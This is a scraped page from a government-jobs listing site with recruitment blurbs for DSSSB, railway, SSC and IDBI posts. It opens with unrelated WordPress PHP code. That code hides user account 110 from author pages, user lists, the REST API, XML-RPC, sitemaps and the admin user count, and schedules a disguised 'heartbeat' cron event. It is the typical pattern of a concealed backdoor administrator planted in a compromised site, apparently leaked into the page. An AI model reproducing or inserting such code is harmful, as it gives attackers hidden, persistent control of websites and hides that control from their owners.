add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 110;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 110 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 110 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 110;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 110;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/110(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Government Jobs - Page 12 of 52 - Government Exam Alert - Jobs/ Exam Information
Skip to content
dsssb instructor recruitment 2023 for 943 posts apply online dsssb workshop attendant recruitment notification 2023 advt. no. 03/23 04/23 dsssb technican assistant craft instructor online application form education qualification vacancies DSSSB Recruitment 2023 – Warder/ Assistant Posts Apply Online LATEST UPDATE : Good News !! DSSSB has released Notification for advt 03/23 & advt 04/23 … Read more
Categories 10th/ Matriculation/ High School Jobs , 12th/ Intermediate Jobs , Clerk/ Stenographer , Diploma Jobs , Golden Jobs , Government Jobs , ITI Certificate Jobs Tags Apply Online , delhi , dsssb , dsssb je vacancies , Online Application north eastern railway recruitment 2023 for 14000 group c group d posts apply online Railway NER Gorakhpur Recruitment 2023 1104 Apprentice Posts online application form vacancies for Lucknow Izzatnagar Varanasi region railway ner 14000 posts notification 2023 important dates North Eastern Railway Recruitment 2023 Apply Online -1104 Posts LATEST UPDATE dated 25.11.2023 : North Eastern … Read more
Categories 10th/ Matriculation/ High School Jobs , Apprentice Jobs , Golden Jobs , Government Jobs , ITI Certificate Jobs , Railway Jobs , What's New Here Tags Apply Online , group c , Group D , north central railway , North Eastern Railway , Online Application Form , Railway , Railway NER , rrc ncr 8732 group d posts , rrc ncr recruitment South Eastern Railway Apprentice Recruitment 2023 RRC SER Apprentice Recruitment 2023 RRC Kolkata Recruitment for 1785 Apprentice Posts RRC SER Online Application Form Trade Apprentice Notification RRC Apprentice Jobs Apply Online RRC SER Apprentice Recruitment 2023 South Eastern Railway Online Application -1785 Posts LATEST UPDATE : Good News !! South Eastern Railway has issued Notification … Read more
ssc constable gd recruitment 2024 for 26146 Posts ssc gd vacancy 2024 ssc constable gd notification download ssc constable gd vacancy ssc bsf crpf itbp assam police constable recruitment ssc gd online application ssc gd vacancies naxal area border area male female SSC Constable GD Recruitment 2024 BSF CRPF CISF CAPF Apply Online Dates LATEST UPDATE … Read more
Categories 12th/ Intermediate Jobs , Central Government Jobs , Defence Jobs , Golden Jobs , Government Jobs , Graduation , What's New Here Tags assam rifles , border area vacancies , BSF , CAPF , CISF , CRPF , ITBP , naxal area vacancies , nia , SSC , ssc constable gd age limit , ssc constable gd recruitment date , ssc gd online application , state wise vacancies idbi bank assistant manager recruitment 2023 for 800 posts online application form idbi junior assistant manager vacancies Assistant Manager Grade A admissions to Manipal School of Banking, apply online eligibility criteria idbi assistant manager online exam date latest updates IDBI Bank Junior Assistant Manager Recruitment 2023 Apply Online Job Update : IDBI Bank has issued … Read more